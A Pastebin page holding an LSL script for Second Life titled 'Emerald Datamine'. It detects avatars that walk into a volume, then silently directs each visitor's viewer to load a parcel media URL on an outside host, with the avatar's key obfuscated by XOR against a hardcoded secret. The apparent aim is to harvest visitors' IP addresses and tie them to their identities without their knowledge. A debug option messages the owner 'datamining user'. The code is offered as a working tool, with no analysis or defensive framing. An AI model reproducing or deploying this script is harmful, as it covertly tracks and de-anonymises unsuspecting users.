Advertisement
Guest User

Emerald Datamine LSL Script

a guest
Aug 26th, 2010
439
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. //lsl2
  2.  
  3. string url = "http://lawlinter.net/secondlifeutility/datamine.addr.php";
  4. string requrl(key id, string au)
  5. {
  6.     string secret = "QSY2S2pkc2dmKig=";
  7.     string re;
  8.     re += url+"?a=";
  9.     re += llEscapeURL(llXorBase64StringsCorrect(llStringToBase64((string)id),secret));
  10.     re += "&p="+llEscapeURL(llXorBase64StringsCorrect(llStringToBase64((string)au),secret));
  11.     return re;
  12. }
  13.  
  14. authreq(string au)
  15. {
  16.     llHTTPRequest(url+"?auth="+llEscapeURL(au),[],"");
  17. }
  18.  
  19. query(key id)
  20. {
  21.     string au = (string)((integer)llFrand(DEBUG_CHANNEL));
  22.     authreq(au);
  23.     string url = requrl(id,au);
  24.     llParcelMediaCommandList([PARCEL_MEDIA_COMMAND_AGENT,id,PARCEL_MEDIA_COMMAND_TYPE,"text/html",PARCEL_MEDIA_COMMAND_URL,url,PARCEL_MEDIA_COMMAND_PLAY]);
  25.     if(llGetObjectDesc() == "dbg")llInstantMessage(owner,"datamining user "+llKey2Name(id));
  26. }
  27.  
  28. list insim;
  29.  
  30. clr()
  31. {
  32.     integer i;
  33.     integer l = llGetListLength(insim);
  34.     while(i < l)
  35.     {
  36.         key id = llList2Key(insim,i);
  37.         if(llGetBoundingBox(id) == [])
  38.         {
  39.             insim = llDeleteSubList(insim,i,i);
  40.             l -= 1;
  41.         }else i += 1;
  42.     }
  43. }
  44. key owner;
  45. default
  46. {
  47.     state_entry()
  48.     {
  49.         llSetStatus(STATUS_PHANTOM,0);
  50.         llVolumeDetect(0);
  51.         llSetStatus(STATUS_PHANTOM,0);
  52.         llVolumeDetect(1);
  53.         owner= llGetOwner();
  54.     }
  55.  
  56.     collision_start(integer c)
  57.     {
  58.         integer i;
  59.         do
  60.         {
  61.             if(llDetectedType(i) & AGENT)
  62.             {
  63.                 key id = llDetectedKey(i);
  64.                 if(llListFindList(insim,[id]) == -1)
  65.                 {
  66.                     insim += [id];
  67.                     query(id);
  68.                 }
  69.             }
  70.             i += 1;
  71.         }while(i < c);
  72.         clr();
  73.     }
  74.    
  75.     collision_end(integer c)
  76.     {
  77.         integer i;
  78.         do
  79.         {
  80.             if(llDetectedType(i) & AGENT)
  81.             {
  82.                 i = c;
  83.                 clr();
  84.             }
  85.             i += 1;
  86.         }while(i < c);
  87.     }
  88. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement